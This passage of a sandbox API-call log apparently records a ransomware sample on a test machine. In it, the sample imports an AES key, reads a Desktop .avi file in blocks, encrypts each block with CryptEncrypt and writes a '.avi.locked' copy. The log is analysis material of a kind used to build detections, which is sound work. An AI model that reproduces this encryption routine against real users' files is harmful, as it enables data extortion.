(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.236] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.236] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0127.236] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.236] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.236] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0127.236] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.237] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.237] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0127.237] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.237] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.237] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0127.237] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.237] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.237] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.237] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.238] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0127.238] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0127.238] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0127.241] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0127.241] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0127.241] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0127.241] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0127.241] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0127.242] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.242] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0127.242] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0127.243] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x42ebcb0) returned 1 [0127.243] CryptImportKey (in: hProv=0x42ebcb0, pbData=0x691bae8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e84df8) returned 1 [0127.243] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.243] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="\xb9e0\x691") returned 0x0 [0127.244] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.244] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.244] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.245] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi")) returned 0x20 [0127.245] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi")) returned 0x20 [0127.245] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.245] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.245] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.246] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ae0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.246] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ae0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.246] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.246] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.247] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.247] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.248] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.248] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0127.248] GetFileType (hFile=0x868) returned 0x1 [0127.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.249] GetFileType (hFile=0x868) returned 0x1 [0127.249] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.249] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe340\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0127.249] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.249] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.249] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.250] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked", lpFilePart=0x0) returned 0x4b [0127.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.250] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0127.250] GetFileType (hFile=0x858) returned 0x1 [0127.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.250] GetFileType (hFile=0x858) returned 0x1 [0127.250] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.250] CryptGenRandom (in: hProv=0x42ebcb0, dwLen=0x10, pbBuffer=0x69347cc | out: pbBuffer=0x69347cc) returned 1 [0127.251] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.251] CryptDuplicateKey (in: hKey=0x8e84df8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae5f8 | out: phKey=0x99ae5f8*=0x8e84cf8) returned 1 [0127.251] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.251] CryptSetKeyParam (hKey=0x8e84cf8, dwParam=0x4, pbData=0x6935c68*=0x1, dwFlags=0x0) returned 1 [0127.252] CryptSetKeyParam (hKey=0x8e84cf8, dwParam=0x1, pbData=0x6935c34, dwFlags=0x0) returned 1 [0127.252] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\xfbf0\x437\x24a") returned 0x0 [0127.252] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.252] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.252] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.253] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.253] ReadFile (in: hFile=0x868, lpBuffer=0x6939304, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae604, lpOverlapped=0x0 | out: lpBuffer=0x6939304*, lpNumberOfBytesRead=0x99ae604*=0x14000, lpOverlapped=0x0) returned 1 [0127.254] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x694d310*, pdwDataLen=0x99ae5f8*=0x14000, dwBufLen=0x14000 | out: pbData=0x694d310*, pdwDataLen=0x99ae5f8*=0x14000) returned 1 [0127.254] WriteFile (in: hFile=0x858, lpBuffer=0x6934954*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae5dc, lpOverlapped=0x0 | out: lpBuffer=0x6934954*, lpNumberOfBytesWritten=0x99ae5dc*=0x1000, lpOverlapped=0x0) returned 1 [0127.255] WriteFile (in: hFile=0x858, lpBuffer=0x694e2fc*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae5dc, lpOverlapped=0x0 | out: lpBuffer=0x694e2fc*, lpNumberOfBytesWritten=0x99ae5dc*=0x13014, lpOverlapped=0x0) returned 1 [0127.256] ReadFile (in: hFile=0x868, lpBuffer=0x6939304, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae604, lpOverlapped=0x0 | out: lpBuffer=0x6939304*, lpNumberOfBytesRead=0x99ae604*=0x2dea, lpOverlapped=0x0) returned 1 [0127.256] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6961334*, pdwDataLen=0x99ae5f8*=0x2de0, dwBufLen=0x2de0 | out: pbData=0x6961334*, pdwDataLen=0x99ae5f8*=0x2de0) returned 1 [0127.256] WriteFile (in: hFile=0x858, lpBuffer=0x6961334*, nNumberOfBytesToWrite=0x2de0, lpNumberOfBytesWritten=0x99ae5dc, lpOverlapped=0x0 | out: lpBuffer=0x6961334*, lpNumberOfBytesWritten=0x99ae5dc*=0x2de0, lpOverlapped=0x0) returned 1 [0127.256] ReadFile (in: hFile=0x868, lpBuffer=0x6939304, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae604, lpOverlapped=0x0 | out: lpBuffer=0x6939304*, lpNumberOfBytesRead=0x99ae604*=0x0, lpOverlapped=0x0) returned 1 [0127.256] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6964188*, pdwDataLen=0x99ae650*=0x10, dwBufLen=0x10 | out: pbData=0x6964188*, pdwDataLen=0x99ae650*=0x10) returned 1 [0127.256] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69641bc*, pdwDataLen=0x99ae658*=0x0, dwBufLen=0x10 | out: pbData=0x69641bc*, pdwDataLen=0x99ae658*=0x10) returned 1 [0127.256] WriteFile (in: hFile=0x858, lpBuffer=0x6934954*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae628, lpOverlapped=0x0 | out: lpBuffer=0x6934954*, lpNumberOfBytesWritten=0x99ae628*=0x10, lpOverlapped=0x0) returned 1 [0127.257] CloseHandle (hObject=0x858) returned 1 [0127.259] CloseHandle (hObject=0x868) returned 1 [0127.259] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ae0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0127.260] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.260] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.260] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.260] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.261] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH 